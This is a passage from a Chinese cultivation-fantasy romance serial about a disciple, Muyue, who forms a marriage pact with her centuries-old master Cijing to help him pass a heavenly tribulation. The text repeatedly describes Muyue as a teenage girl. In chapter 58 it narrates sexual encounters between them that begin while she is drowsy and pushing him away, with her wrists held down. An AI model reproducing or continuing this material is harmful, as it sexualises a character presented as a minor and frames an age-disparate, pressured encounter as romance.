司命见证的上神历劫,从未有如此迅速的,这心性一般人当真是比不得。
【那大师兄岂不是能直接回天界了?】
【你想什么呢,他们是分出一缕神魂下界投胎,除非肉身死亡或者是飞升回归天界,不然他们只能留在这里。】
【那之前助师尊历情劫时你说时间所剩不多了?】
【这不是怕你懈怠嘛,况且本君也没说错,这时间确实所剩不多,你师尊离飞升之差临门一脚,若在最后时刻都未能成功历劫只能回去,若他不愿飞升,就需要动用别的手段了。】
【你不会想杀了师尊吧?】
【我想杀也杀不了啊,这人界谁能杀得了他,反正现在还早,你无需思索这些,当务之急是他尽快渡过妄心劫。】
【那我呢?我若一直突破,岂不是一直也要留在人界?】
【你愿意留在人界就留着,若想回天界你主动震碎心脉就能回,问题不大。】
这么粗暴嘛?
和司命聊着她差点忘了自己的正经事。
【司命,我有个朋友被魔族之人控制进入宗门,他一开始的目标就是师尊,上回他给师尊下无情丝被提前察觉,应当是眼看事情已经败露打算尽快动手,按照我一开始的猜测他们的目标是师尊,但最后为何要多此一举将矛头对准我?】
【我在想此人既然知晓师尊下界是为历劫,那是否也有可能阴差阳错误以为师尊历的是情劫,并知晓我是助师尊历劫的对象才打算退而求其次解决掉我,让师尊无法成功渡劫。】
【此人或许是魔族之人,可他为何知晓如此多的事情,除非……】
除非天界有奸细。
司命听闻她的话心却沉了下来,此事的确疑点重重。
【你说有人一开始就在进行筹谋,想要接近辞镜将他解决,并千方百计阻止他成功历劫?】
沐月点头。
【你猜测没错,魔界对天界虎视眈眈已久,恐怕是魔族暗中收到消息才秘密潜入下界想要趁机重伤神尊。】
知晓神尊历劫一事的人一只手都能数得过来,都是秘密进行,所以魔族究竟是如何得知的?
他在心中排除人选,最终只剩下一个名字。
可她没有理由如此做,还是说只是不小心被那魔族之人听了去。
如此那天界必然藏了魔族奸细。
此事还要再查。
【本君会多加注意,若有了发现会告知你。】
【好。】
和司命说完沐月走出房门,她在屋中坐了会儿,师尊披着最后一缕余晖回到无妄楼。
沐月迎上前去,“师尊结果如何?”
储殷最终的惩罚会是什么。
“先坐下,师尊与你细说。”
沐月赶紧转身乖乖坐下,等着师尊告知她结果。
“废除内门弟子身份沦为外门,鞭刑一百,修为废至金丹初期,思过崖思过十年,若确定他确实没有威胁再将其放出。”
见沐月情绪低落,辞镜安慰,“这已经算是最轻的处罚。”
若储殷这十来年期间有任意一次想办法向宗门告知自己被魔族所控的行为,对他的惩处也不至于此。
“嗯。”
“阿月你不向他求情?”辞镜犹豫片刻问。
“可我又不想师尊你为难,他现在的处罚想必是你已经在其中周旋过过的结果。”沐月搂住师尊的腰,趴在他的腿上。
辞镜听闻沐月的话,眼中露出笑意。
手指轻轻将沐月脸颊的碎发挽至耳后,“困了吗?可要休息了?”
“我就这么趴一会儿。”
师徒二人在屋中静静相拥着坐了许久,辞镜去看沐月时她已闭上双眸,枕在他腿上入睡。
辞镜抱着沐月起身,走动间两人的衣摆交缠,他抱着沐月前往楼梯。
*
对于师尊所说的成婚一事沐月没有给出回答,此事师尊没提,她也没提,似乎就这么过去了。
但她知晓并未过去。
她与师尊的感情被外界知晓,虽感叹唏嘘之人众多,却无一人敢在辞镜面前指手画脚,沐月倒是偶尔会听见弟子们的谈论,可她将其视作空气,如此也算是相安无事。
今日放学,她在窗外看见了师尊。
“你师尊来接你了。”灵犀提醒沐月,果然啊之前她猜得不错,沐月果真是喜欢她师尊的。
不过令她震惊的是,仙尊竟然也心悦沐月。
沐月这回没再像之前那般躲躲藏藏,光明正大地跑向师尊冲进他的怀里。
“师尊你来接我吗?”
“嗯来接你,可是不想师尊过来?”
“没有啦,我现在还怕什么。”她抱了会儿放开,能感觉到周围的目光,只是沐月并未去理会,反正他们都知道了,也没什么好隐瞒的。
“那我们回去吧。”沐月正想要伸手去牵师尊,但她的手却被师尊率先牵过,她脸上扬起笑容,在弟子们明里暗里扫过来的视线下两人牵手回到戚雪峰。
“师尊,那日你说的事情我考虑过了。”沐月眼神闪烁地说。
辞镜明白了她指的是哪件事。
“我们如今即便成婚也不会被人祝福,所以……”
辞镜听闻她的话,握着她的手收紧。
“不过我们可以先通过血誓缔结为道侣,上天认可了我们的关系就好啦。”
辞镜微怔。
“阿月你的意思是,先与师尊缔结道侣契约?”
“嗯,我是这么想的,但现在还太早了,再过些时间我们再结契好么?”
她还不确定与师尊成婚是否是他的妄心劫呢,而且现在确实太早,她心中有疑虑,等那些疑虑彻底消失,她与师尊应
当就能在一起了吧。
自那日沐月提出此事后已经过了半月,她每日都会询问司命天河石的缝隙是否有扩大的趋势。
【前几日原是没有的,但昨日开始似乎在扩大了。】
为何前日开始扩大了?
沐月思来想去唯能想到她答应师尊与他结契一事。
夜里,她躺在师尊怀里,玩着师尊的银发,嘟囔道:“师尊,若我说,我短时间内不是很想与你结契,你会生气么?”
辞镜看向她,他早该知道这只是沐月的托辞。
会生气吗?不会的,他早在一开始就做好了准备。
正如他在天机湖中看到的一切,沐月或许并不情愿嫁给他,只是木已成舟,外界都知晓他们的关系,她才不得不同意。
若他坚持让沐月与他成婚,那她会拒绝么?她向来很少拒绝他的请求,之前对于他无礼的请求,他想吻她,她不也没有推开么,阿月或许只是习惯了听从他的话,她向来都是极为乖巧的。
他想告诉沐月他没事不介意,但如何也说不出口。
“你慢慢考虑,师尊不会逼你。”
沐月推开师尊起身,“师尊我有个东西忘了拿,一会儿就回来。”
说完她赶紧跑回自己卧房,询问司命师尊的情况。
司命却道:【天河石的裂痕在方才更大了。】
若如此,就证明与师尊成婚确实与他的妄心劫有关。
看样子她不能再拖下去,若再拖着师尊不与他的结契,这天河石随时都可能碎裂。
等稳住他的情绪再谈其他。
与此同时,二楼的辞镜耳边传来隐约的陌生男子声音。
陌生男子,这个声音突然与梦中那个被叫作司命之人的声音重合。
随后响起沐月的声音。
【究竟为什么?分明大师兄的情劫如此顺利就能渡过,师尊的妄心劫却如此困难。】
【情劫要比妄心劫简单这是众所周知的事情,你也不要纠结于此了,不过让我好奇的是,你大师兄的情劫还当真让你渡了,你做了什么让他动了心?】
【我也不知道,稀里糊涂就渡了。】
【或许天意如此,你师尊的或许下一秒就能渡,也或许一直无法渡,你要做好心理准备。】起初是司命着急,现在他倒是开始安慰沐月。
……
辞镜静静听着两人的对话。
心里却没有他面上那般平静。
所以,这情劫并非是他与沐月的。
而是她与沈风吟。
辞镜的心像是被生生撕裂,他蹙眉想要稳住情绪,口中却涌上一阵腥甜。
*
沐月思索着回到二楼,她却发现师尊竟再次陷入了昏迷,他眉头蹙紧面色苍白,沐月心头一跳。
她来不及思索师尊为何突然如此,立即仿照之前的方法为师尊服下凝神丹,但这次丹药的作用似乎不大。
【司命,你快看看,师尊的情况加重了。】
【等,反正你只有等,这是他自己的造化,或者你试试能否唤醒他,若能唤醒自然好,若不能,你只有等他自己醒。】
“师尊?”沐月趴在辞镜耳边喊他,但他始终陷入梦魇之中,无法清醒。
司命离开,房中只剩下沐月和辞镜两人。
沐月打算寻渡厄之过来,她还是无法放任不管,就在此时,双眸紧闭的男人突然睁开双眼,眸中没有什么焦距,他扣住沐月的手腕将她拉到床上,紧紧将她抱住。
沐月睁着大大的眼睛不知所措,她想要推开他去寻渡厄之,却再次被师尊的手臂束缚。
颤抖的唇去吻沐月,沐月意识到师尊不太对劲,想要躲开,可一躲她便察觉师尊的情绪似乎便有不稳的趋势。
她不敢再动,只是不断呼唤师尊的名字,“师尊,你怎么了?”
但她未能听见回答。
辞镜搂住她的腰,吻着她的唇,一点点游移,停留在她的锁骨,沐月眼中潮湿,轻咬着下唇,睫毛颤动着。
她喘息着呼出一口气,“师,师尊?”
感受到肩膀的凉意,沐月身体一僵,更用力地推了推他。
就在她打算放任时,辞镜停住了自己的动作。
他眼中的迷雾散去,终于恢复了清明,看见身下衣衫长发凌乱,满脸潮红的沐月,他身体一僵,却并未松开她,而是将她搂得更紧,不断在她耳边道歉,“对不起阿月……”
沐月轻轻喘气,她想挪一挪腰,却被师尊抱得紧紧的。
第57章 第57章婚契
天河石裂缝扩大,沐月不敢再耽搁。
不管方向是否正确,她都没了犹豫的机会,若是继续拒绝师尊,继续拖延,很有可能这天河石就彻底碎裂了,那就如司命所说,师尊的妄心劫也没有再渡的机会。
她抬头看了看身边的师尊,“师尊我想好了。”
辞镜垂眸看她。
“我想好了,我要与师尊你结契。”
辞镜抱着她的手顿住。
他似乎有些茫然,沐月于是又重复了一遍,趴在他身上一声一声清晰地说:“我要与师尊你成为道侣,师尊你觉得如何?”
面对沐月的笑容,辞镜终于回神,他的视线停留在沐月弯弯的眉眼。
“若答应,便不能反悔了。”
“我不会的。”这件事情占便宜的不是她么。
“师尊那我们何时结契?”
这对她而言还是头一回,她也没有任何经验,师尊想必也是的。
见师尊没有回答,沐月主动道:“不如就今晚吧。”
她也找不出一个合适的时机,再耽搁若是生出别的什么事端师尊的情况加重该怎么办。
辞镜牵着沐月的手,此时此刻他还有些不真实,手指感受到沐月的温度他才回归了现实。
“那我们现在该怎么办?可是要先起来?”
她们现在还躺在床上呢。
“嗯,先起来吧。”
虽然如此也能缔结契约,可他珍之重之,不想如此草率,虽然今晚已经称得上是仓促,但他却不敢再寻个黄道吉日,结契后他还有许多时间可以弥补。
两人都已穿戴整齐,只是没有大婚之日的喜服,不过沐月倒是不在意,现在的主要目的是稳住师尊的情况,不再继续恶化。
“阿月你跟着师尊做便是。”
叮嘱完辞镜口中念出结契的法诀,一点金光出现在他的额心,若隐若现,随后越发璀璨,金光渐渐笼罩辞镜全身,随后点点光芒也蔓延到沐月身上。
她也像师尊那样有模有样地念出口诀,不知从何而来洒下的金光将两人包裹,沐月感受到一股强烈的牵引之力,好似生出一根无形的线将她与师尊绑定,生出了羁绊。
沐月正体验着这股奇妙之感,她的手被身侧的师尊握住,她侧头看向师尊,璀璨圣洁的光芒一点点自师尊身上消失,两人静静对视。
这就,完成了?
“师尊,已经好了吗?”沐月眨了眨眼,似乎和之前并无太大的感觉。
“好了。”辞镜握紧沐月的柔软的手,他眼中含笑,牵过沐月的手将她抱进怀里,“现在我们是夫妻了。”
比起道侣,辞镜更喜欢夫妻二字,就像寻常人家的夫妻那般平平淡淡安安稳稳地相伴一生。
是哦,她们是夫妻了,但沐月显然还没做好转变关系的准备,虽然她们已经结契。
“师尊,结契之后,和之前有什么区别么?”
沐月没有感受到太大的差别。
现在她也会和师尊同榻而眠,也会和他
亲密,她对师尊的称呼也不会变,除了有一道契约似乎并没有任何区别。
“自然是有的,我们的关系被天道承认,无人能将我们分开。”
沐月点点头,还是有些不懂,只是一道契约罢了,即便天道承认不代表别人会承认,不过人界的律法同样对修士有效,她没怎么将这道契约放在心上。
“已经好了,那我们睡觉吧。”沐月有些困了,她牵着师尊往床边走。
两人走到床边,她提前上床躺好等着师尊,在他也躺下后熟门熟路地钻进他的怀中,枕在他的胸口安然闭上双眼。
辞镜看了她一会儿,给沐月掖好被角,也缓缓闭上双眸。
*
两人结契所有人都不知,沐月也未觉生活有什么变化。
储殷行刑那日她并未前往,在查清所有后宗门告知了弟子们此事的经过,只是对某些事情进行了隐瞒。
弟子们只知他被魔族利用,却不知他的目标是辞镜。
行刑那日许多弟子前往,看着跪在刑法台上不再如以前那般意气风发的少年,只觉一阵唏嘘。
沐月知晓事情经过尚且还能接受,得知此事最为伤心的是灵犀,虽然知晓沐月对她有所隐瞒,却从未想过储殷竟与魔族有染。
她想起沐月之前失踪一事,是否与储殷有关。
如此一想,灵犀心中的信念突然崩塌了,可看着台上皮开肉绽却闷不吭声强行忍耐的储殷,她红了眼眶,匆匆转身离开,不敢再听那鞭子挥动的声音。
灵犀恍惚地离开,却无处可去,迷茫的她听见沐月的声音,她转头,沐月正站在身后静静看着她。
“对不起灵犀,此事我不该瞒着你,可……可此事牵连甚广,我不是故意的。”
“储殷可是伤害你了?”
沐月听闻意料之外的话,低声道:“没有啦。”
灵犀与她相处十来年怎会看不出。
如今沐月和仙尊遭人非议,储殷又与魔族有染,灵犀突然觉得这个世界虚假,好像一夜之间什么都变了。
“你和仙尊还是一直在万剑宗吗?”灵犀问。
仙门之中师徒相恋并不稀奇,但还是会遭受世人诋毁的言论,几乎都无意外,师徒恋的主人公最终会选择离开宗门,远离世俗的眼光,选择归隐或者游历,亦或是被逐出宗门。
但只要有仙尊在,这种情况便不会发生。
沐月对万剑宗也说不上留恋,但她舍不得灵犀,舍不得大师兄,储殷……
若是可以她还是想要留在这里,但她不知师尊是如何想的。
往日师尊被所有人敬重,受所有人景仰,就如那明台之上的受人供奉的神祇,可因为与她之间的事情,现在声名狼藉。
沐月一开始就是为了师尊下界,她现在的目标是助师尊渡过妄心劫,若能远离纷争似乎是最清净的。
之前从未想过,可现在想来现在世俗的反对和诋毁会是师尊的历劫的关键么,可天河石显示与她们成婚有关。
顺其自然吧。
她想着。
“对了灵犀,我想告知你一件事。”
“我与师尊结契了。”
“道侣契约?”灵犀迟疑地问。
“嗯。”
灵犀没想到会这么快,不过两人都已广而告之,这是迟早的事情。
“既如此,阿月你与仙尊要好好的。”
可灵犀和沐月都没有觉得太过高兴,她们要面对的事情还有许多,一切都还未结束。
不过幸好仙尊的实力足够强大,无人敢在她们的面前说什么,比起其他师徒已经算是很好的结果。
沐月看着眼前的灵犀却有些惆怅,若她回去天界,就再也见不到她了吧。
“嗯,我们会好好的。”
灵犀越想越觉得感慨,“你居然都成婚了。”虽然只是结契并未行大典,但还是觉得神奇。
她突然想到了什么。
“那你和仙尊……那个没有?”
对于灵犀如此跳脱的性子,沐月虽早已知晓但听见她的话却还是目瞪口呆,连忙上前住捂住她的嘴,“你乱说什么呢。”
“唔……”灵犀扒拉开她的手,“本来就是啊,你们现在可是夫妻了,双修也很正常吧。”
不过此人是仙尊,或许不能以寻常男子来看待。
“没有没有!你再瞎说!”
灵犀撇了撇嘴,“你就不想么?”
“想什么,我一点都不想!”沐月竭力解释。
“人非圣贤,七情六欲本属正常,你急什么,好啦我不问了还不行么。”
“我要回去了,你也回去吧。”灵犀说完挥挥手转身离开。
沐月看着灵犀走远,她脸上还是烫的,虽然,虽然她能感觉到师尊并非没有欲望,但他都会及时停止,而且她觉得现在这样挺好的,再进一步……她脸色腾地红了。
不过回到戚雪峰,她那浮动的心思也消了个七七八八,到底和师尊是多年的师徒关系,要她主动暂时是不行的,她还迈不过心里那道坎儿。
况且,她因储殷一事情绪不佳,总是走神。
慢慢走到看书的师尊面前,沐月还未来得及说话,就被师尊拉过手坐在他的怀里。
他知晓今日储殷行刑,沐月心情应当不太好。
“很快会过去的。”
沐月只点了点头,她不能去想储殷行刑的画面。
辞镜在女孩的唇上吻了吻,“今日师尊买了些点心,尝尝吧。”
看向桌上盘中的点心,沐月不大有胃口。
“吃些甜的,心情会好些的。”
沐月听闻师尊的话,张口咬了咬他手中的桂花糕,香甜可口,心情似乎要好了些。
她又吃上几口将整块桂花糕都吞入腹中。
吃完抱着师尊,“师尊,你想要离开这里吗?”
戚雪峰是她生活了许多年的地方,她对这里的感情确实难以割舍。
“阿月你是怎么想的呢?若你想留在戚雪峰,那我们永远都在这里,若你想要离开,我们也能寻个心仪之地隐居,若你想要看遍世间的山水风光,我们也能一同前往。”
“暂时,我想留在这里。”
“那就留在戚雪峰。”
无人敢将辞镜赶出万剑宗,万剑宗弟子也不想失去他这个依仗。
绝对的实力永远凌驾于一切世俗规则之上。
“师尊明日,后日,往后每日都来接你可好?”辞镜轻声道。
总有一日所有人会习以为常,时间能够冲淡一切。
沐月思索了一下,“倒也不用每日啦,师尊我感觉自己很快就能突破,到时就能结业无需再去上学了。”
两人正说着,辞镜感受到庞大的灵气波动,他看向云落阁的方向。
他感受到了化神的威压。
一想起沈风吟与沐月的情劫,辞镜眼中的柔和便消失得无影无踪。
沐月也感知到了,戚雪峰也只有她们三人。
她眼前一亮,“可是大师兄在突破?”
在和大师兄的相处中隐约知晓他为此所困,若是突破那也算是得偿所愿。
沐月没有察觉师尊的异样。
“我们去看看吧。”
辞镜顿了片刻才跟上沐月。
两人前往云落阁,却见院落中的沈风吟周围笼罩着庞大的灵气,渐渐那灵气被中心之人吸收,周围是晃动的树叶的狂风都渐渐恢复了往日的宁静。
掌门和诸位长老也感应到戚雪峰化神的灵力,皆前往赶来,在戚雪峰也唯有沈风吟突破至化神。
一时将辞镜和沐月之间的事情忽略,急忙走到已经突破结束的沈风吟面前。
“可是已经突破至化神期?”
“是的师叔。”
“如此便好。”
他们万剑宗又多了个化神期修士,沈风吟实在争气,年轻一辈中现在唯有他最为出色,他现在成了化神修士,便是擎云门海晏清也比不过,沈风吟未来的成就或许不比辞镜低。
“那你好生调息,现在才突破境界想必不稳,其他的你无需分神,若有任何需要告知师叔便是。”
沈风吟一一应是。
“师尊,师妹。”他对身旁站着的两人道。
掌门看看辞镜,又看向沐月,总觉得荒唐,可又知晓辞镜的性子强忍着没有多说半句,外界都已知晓他又能如何?便是想要挽回减小影响却也是不能了。
又叮嘱沈风吟几句,掌门和一众长老和辞镜行完礼离开,云落阁只剩下师徒三人。
“为师想说的掌门都以交代,也没有其他要叮嘱的,只是突破至化神期修炼要更加困难些,稳住心态即可,不可过于冒进。”辞镜冷淡开口。
“弟子记住了。”
比起师徒二人的客气疏离,沐月显然和沈风吟要亲近许多,她凑到师兄面前围着他上上下下来
回地看。
沈风吟被她看的略微不自在,他扫了眼师尊,迟疑地开口,“师妹你在看什么?”
“大师兄你化神了诶,我看看成为化神修士会和之前有何不同。”
但仔细看了一圈,似乎并无不同。
“可看出了不同?”沈风吟笑着问。
“没有,看着和以往是一样的。”
两人的对话并未持续多久,沈风吟主动提及了身旁站着不知在想什么的师尊,“师尊和师妹你们进来坐吧。”
辞镜却拒绝了,“时候也不早了,你才突破还需调息,为师和阿月就先回去了。”
沈风吟没有再挽留,“师尊师妹慢走。”
本来沐月是想留下和大师兄多说说话的,可想起才突破完境界不稳确实需要调息,便也不再打扰,随师尊一起离开。
原本她是想要与大师兄提及她和师尊已经结为道侣一事,但思来想去又将话咽入腹中。
要如何才能让师尊成功渡过妄心劫?回去路上沐月陷入思索,但还是思索不出答案,或许正如司命所说,旁人是极难干涉的,她也只能走一步看一步。
两人回去时竟看到了渡厄之,他神色复杂地扫了眼辞镜和他身旁的沐月。
“阿月你先进去吧,师尊随后就来。”
沐月看了眼渡厄之,“师伯。”
说完朝师尊点头,“好。”
沐月回屋后渡厄之道:“你还当真与你那徒弟在一起了,今后如何打算的?”
虽然他对人伦并不计较,但别人并非如此,他们或许要永远处在留言的漩涡之中,即便时间能够淡化一切,但或许几年,十年甚至数百年还是会被人翻出来。
“你是活了几百年,对这些并不看重,可你是否像想过沐月这样一个才十几岁的小姑娘是否能够承受?”
辞镜没有反驳。
“罢了,事到如今说再多也无用,你打算一直在这戚雪峰?”
“阿月想要留在这里,我与她已经结契成为夫妻。”
渡厄之闻言不知该说什么,他未曾想到辞镜动作竟如此之快,“你这不是哄骗人家小姑娘吗?”
辞镜闻言冷了脸色,渡厄之止了话,“随便你。”
他扫了眼辞镜,沐月能答应怕是和他的皮相分不开关系,到底是美色害人。
“你想好就行。”
一想到辞镜已经三百多岁,而沐月才十来岁,渡厄之便在心里唾弃辞镜,之前装得无欲无求,他差点就被他迷惑了。
“对了我得提醒你,你已是大乘境大圆满,沐月才金丹期,她无法一开始就接纳你的灵力,平日你……你也要注意一些。”
至于是什么样的接纳法,渡厄之却不好直说,但他知晓辞镜应当明白。
谁知道他还要和辞镜叮嘱这些。
见他皱了眉,渡厄之再次强调,“此事大意不得,你可记住了。”
“多谢。”
送走渡厄之,他的话还在辞镜耳边回荡,他从未想过这一点,以往也忽略了。
*
今夜沐月沐浴完莫名有些紧张,或许是因为灵犀的话,不过等困意上来她便无暇思索这些,在师尊沐浴出来之前就已经提前入睡。
身侧师尊躺在的轻微动静让她睁了睁眼,自觉窝进师尊怀里。
她闭着双眸正打算安心睡去,唇却被轻轻吻了吻,她偏头嘟囔着躲开,可又吻到她的脖颈,沐月有些痒,困意也散了大半,她痒得缩了缩脖子,“师尊痒……”
辞镜终于舍得移开,沐月以为自己终于能安心入睡,她突然感受到身上的凉意。
睡裙似乎不知何时被脱了去。
第58章 第58章最快速的修炼方式
沐月渐渐意识到不对,感受到腰肢游移的那只手,她睁开双眼,只是眼神有些迷蒙,“师尊……”
辞镜抬头在她的唇上轻轻印下一吻,“嗯。”
“我好困。”
她推了推身上之人,闭眼又要入睡,可腰间的手却并未放开。
师尊也没有回答她,沐月费力地再次睁开双眼,师尊的银发在她的脖颈滑过,她睫毛颤了颤,突然清醒了。
也随之意识到什么。
说来她已经和师尊结了婚契,夫妻之事似乎是极为正常的。
她于朦胧的灯影之中看到了师尊的面庞,她攥紧了师尊的衣袖,没有阻止。
辞镜仔细将沐月的长发撩至身旁,他再次吻在沐月颤抖的眉眼,顺着她的轮廓一点点往下,察觉到沐月身体的僵硬,他耐心地安抚了许久,待她的身体放松才一点点握住沐月的手指,“阿月,帮师尊一下好么?”
沐月不知帮什么,只能跟随师尊的手来到他的衣襟,她的指尖触碰到温热的肌肤,像是被烫到一般立即将手收回。
她最终还是探出手去,触感柔软顺滑的衣裳在她手中滑过。
腿轻轻动了动,她侧头没敢看师尊。
识海像是被细细的银丝缠绕,她微眯着眼,在她还未意识到时感受到一股极为强烈的触感,神魂都在战栗,她手脚发软什么也忘记了,喘息着看着帐顶,还未等她回过神来,便感受到腿上的温度。
沐月从恍然中回神,她伸手想要去推身前之人,可手腕被握住。
辞镜抱紧怀中之人,埋头在她的颈窝,不比沐月轻松多少,眼尾微湿,呼吸也略微急促,面庞上染着少见的情潮。
“阿月……”他呼唤着怀中的少女,手臂上的青筋时隐时现。
沐月突然脚趾蜷缩,仰起头伸手挥动,手腕却被温柔但又不容拒绝地按在一旁。
“唔……”
“很难受吗?”辞镜微微喘息着询问沐月。
她说不出话,难耐地微张着唇。
不知过了多久,精疲力尽的她闭上双眼沉沉睡去。
何时被抱去浴室也不知。
再醒来天光已经大亮。
沐月动了动身体,身体的不适让她皱了皱眉,昨夜的所有经过在她脑中回放,顿时僵住了身体,匆匆低头去看,身上不知何时已经穿上睡裙。
察觉到师尊也要醒了,她立即闭上双眼,只是呼吸还是出卖了她。
辞镜看着眼前闭着眼睛装睡的女孩,弯唇一笑,将她更紧地搂进自己怀里。
沐月很想起来,但到底脸皮薄有些不敢面对师尊,感受到唇上传来的触感,随后她的衣襟被轻轻解开。
连忙伸手握住师尊的手,红着脸低声道:“师尊不行。”
昨夜她不知道过了多久,反正久到她精神恍惚,今早竟又要……
辞镜收回了手,但沐月发现他却并未将自己放开,沐月能够清晰地感知到他的欲望。
而后她的手被师尊握住了。
*
沐月也不知如何离开无妄楼的,直到走在下山的路上,她手上的热度也没有消散,幸好今日上午的课比较晚,不然她肯定迟了。
她手脚还是发软的,师尊本打算送她去,但在她的极力劝阻之下终于让他收回了那样想法。
看了眼自己还发红的指尖,她连忙伸手捂住自己的脸,可意识到什么立即将手从脸上收回。
灵犀显然注意到她的走神,观察了她半晌,“你为何这副表情?”
“没有啊。”沐月赶紧掏出课本佯装认真地翻书。
但过了会儿她突然想起来什么,她还小呢,和师尊结契也罢,欢好也罢,但她可不能怀孕,况且她们随时都可能回到天界。
她也不知昨晚师尊是否有做别的。
沐月没有避孕丹药,前往药阁也不妥,左思右想还是打算回去找师尊要,他肯定能弄来,可沐月现在想到要和师尊见面还是有些害羞。
不过比起怀孕这些都要往一旁放,她得赶紧回去。
结束课业她迅速往戚雪峰赶,但没想到今日师尊又来接她了,周围的弟子们已经见怪不怪,不过还是打量着师徒二人,不管何时想起来都觉得虚幻。
回去路上,沐月一直看着路前方,师尊牵过她的手,她也僵硬得很,不过听见师尊轻柔的话她渐渐放松。
“还疼么?”辞镜柔声问。
沐月才放松的身体再次绷紧,干巴巴地说:“不疼
了。”
师尊平时分明是如此温柔之人,昨夜却让她难以招架。
“回去师尊再为你抹些药,应当就会没事了。”
“不用了,我真的不疼。”她可不要让师尊给她抹药,不过师尊说的再,所以昨夜他给她抹药了?
沐月面色红到了耳根,支支吾吾地说:“对了师尊,我有点担心会,会怀孕。”
辞镜脚步停下,垂眸认真看着沐月,“不会的,师尊已经动用灵力将其阻隔在外,阿月你放心。”
“哦。”沐月呐呐点头,不会怀孕就好。
“你现在还小,或许没有做好准备,所以我们以后再考虑。”辞镜拉过沐月抱在怀里轻声道。
以后她也不想考虑,但也不用着急现在说,毕竟她也不知需要在这里待上多久。
*
宗门继续在查究竟是谁将辞镜和沐月之间的事情传出,知晓二人关系之人少之又少,便是离星洲也被辞镜抹去记忆,掌门只当是有人特意抹黑误打误撞将此事揭开,只是一直查探却始终没有结果,线索在那家酒楼便断了,那人像是凭空出现又像是凭空消失,没有留下任何痕迹消失得无影无踪。
但辞镜知晓并非如此,传谣之人必定知晓他和沐月的关系。
那人或许并非人界之人,也没有再追查的必要。
沐月今日一回去就感受到即将晋升的强烈感觉,或许是昨夜与师尊双修过,她体内的灵气快要溢出来。
“师尊我先回房里突破。”沐月走进自己房中。
辞镜随她一起进门,“师尊为你护法。”
沐月在蒲团上盘腿打坐,稳住体内躁动的灵力,尝试牵引灵力去寻找触碰那道无形的壁垒,最开始以失败告终。
稳住心态,沉下心与丹田内的金莲合二为一,绿色镀上一层浅金的灵气在周身运转十二周天,她的筋脉都散发着耀眼的光芒,最终汇聚到她丹田的金莲处,她听见体内小小的一声响动,像是什么突然被打通。
庞大木灵气在戚雪峰疯狂涌至无妄楼,沐月的丹田像是无底洞迅速吸纳这磅礴的灵气。
辞镜看着沐月,她身后出现了金莲的虚影。
这朵金莲和他梦境之中看到的重合,辞镜感受到一股强烈的熟悉感。
突破持续了一整夜,第二日拂晓沐月缓缓睁开双眼,却与师尊的视线相撞。
对视时,辞镜脑中快速掠过一些记忆,但他却无法捕捉这些记忆究竟是什么。
“可还要再稳固体内灵力?”辞镜走近。
沐月点头,“师尊你帮我告假吧。”
她一连又调息了三日,待自己的境界彻底稳固才睁开双眼,看见面前闭眼也在打坐的师尊沐月还没彻底回神,睁开眼就看到他,心里的满足难以言喻,没有打扰师尊。
正要起身,对面之人也睁开了双眼。
“师尊我打扰到你了吗?”沐月动作一顿。
“没有,师尊并未修炼,阿月你过来师尊为你看看。”
沐月走到师尊身前坐下,将手腕递给他,她感觉还不错,但也不知是否当真稳固了。
“师尊如何?”
“灵气凝练,根基牢固,很好。”
沐月闻言弯唇笑了,“那就好。”
“对了阿月,你已经元婴期,宗门课业无需再上,你打算今日下山还是过个两日再去?”
“我今日就去吧。”正好她出去走走,顺便也能和灵犀见上一面。
辞镜思索片刻还是告知了沐月今日储殷前往思过崖,一旦关入思过崖不到日期不得跨出一步,若今日不见,未来十年她都见不到了。
“师尊我想去看看,今日或许会晚些回来,你不用来接我。”沐月说完打算去沐浴梳洗,她沐浴完出来时师尊还在。
“过来吧师尊为你梳发。”
沐月坐过去,看向镜子中的师尊,曾经的她们是师徒,但现在瞧着却和之前有些不同了,也是如今她们不仅是师徒,还是夫妻。
老夫少妻。
现在想来都觉奇妙。
沐月的长发很快在辞镜手中梳好,“好了。”他放下木梳。
“那师尊我走了。”
“好。”
沐月走出大门,今日天气很好,阳光微风拂面,她因储殷低落的情绪稍微松缓。
离开前她问了师尊储殷是在正午前往思过崖,距离正午还有大约一个时辰。
她去上了最后一堂课,一进门长老九江目光对准她,显然也感应到沐月身上元婴的气息。
下课后她和灵犀一同前往思过崖,想要见储殷最后一面。
“我还说你怎么了,突然三日都不来上课,联系你也联系不上,长老说你在突破,我还没太信。”
沐月在突破无法回灵犀的传讯,她突破得匆忙也没有及时和她说。
“你当真突破了?”灵犀看向沐月。
“嗯,我现在元婴了。”
灵犀惊掉下巴,“还真是在突破,你这速度也未免太快了,你莫非得了什么机缘?”
“也算是吧。”她觉醒在天界的记忆应当也算上是机缘。
“那你岂不是就不用再来上课了?”
一旦元婴境不管是否愿意,都不得继续在宗门上课,需要去任务堂领取任务下山历练,这也是怕弟子懈怠宗门强行派发,待完成任务彻底结业,若不能结业,既无法上课,也无法领取宗门的弟子月例,能享受的资源一切中断。
之前沐月还说想要留在戚雪峰,现在看来却是不行了,她还得出去历练,虽然不管是否出去对她都没有太大影响,毕竟她也不在乎那点弟子月例。
说着两人已经来到思过崖,沐月走近发现师尊也在,也是,此事不算小事师尊必然会出面,储殷前来思过崖的日子并未告知其他弟子,以免引起拥挤。
若非师尊告知她,她也是不知晓的。
显然辞镜已经告知沐月会前来,掌门长老只是瞥了她一眼,她与辞镜的事大家现在算是默契地不去提及,虽然外界的声音从未断过,甚至有人要求让辞镜离开万剑宗。
掌门也在犹豫,事关万剑宗声誉,但他确实是不想辞镜离开的,毕竟不管如何他都是大乘境大圆满的实力,这是不可辩驳的事实,有他坐镇万剑宗会省去许多麻烦,一旦辞镜离开还不知万剑宗之后会变成何种模样。
更何况,他若表态,辞镜选择主动脱离万剑宗,他们更是损失惨重,造成的一系列影响他根本不敢深想。
无论何时掌门都在权衡利弊,思索下来最终还是选择忽视外界声音。
自然也默认了辞镜与沐月的关系,他不默认也没有其他办法。
沐月并未靠近,她和灵犀远远看着储殷被押入思过崖。
虚弱的少年似乎也有了感应,抬头看向沐月和灵犀的方向,张了张口,沐月看出了他想说什么。
沐月心里泛酸,灵犀同样如此,目送他进入思过崖,那道石门被重重关上,储殷的身影在眼前消失。
“十年,很快的。”灵犀轻声道。
十年对修士而言只是弹指一瞬,可如今她们也才十来岁。
“你出去历练想必过得更快,不过你和仙尊才成婚,你们要一同前往吗?”
“或许吧。”
若是师尊不去的话,那她也不去历练了,毕竟她现在的唯一目标是助师尊成功渡过妄心劫。
沐月和灵犀没有在此地久留,她看了眼师尊打算离开,在诸位长老和掌门面前她还是低调一些得好,可才走出一步,师尊就在众人的视线下走到她身边,明目张胆地彰显他们的关系。
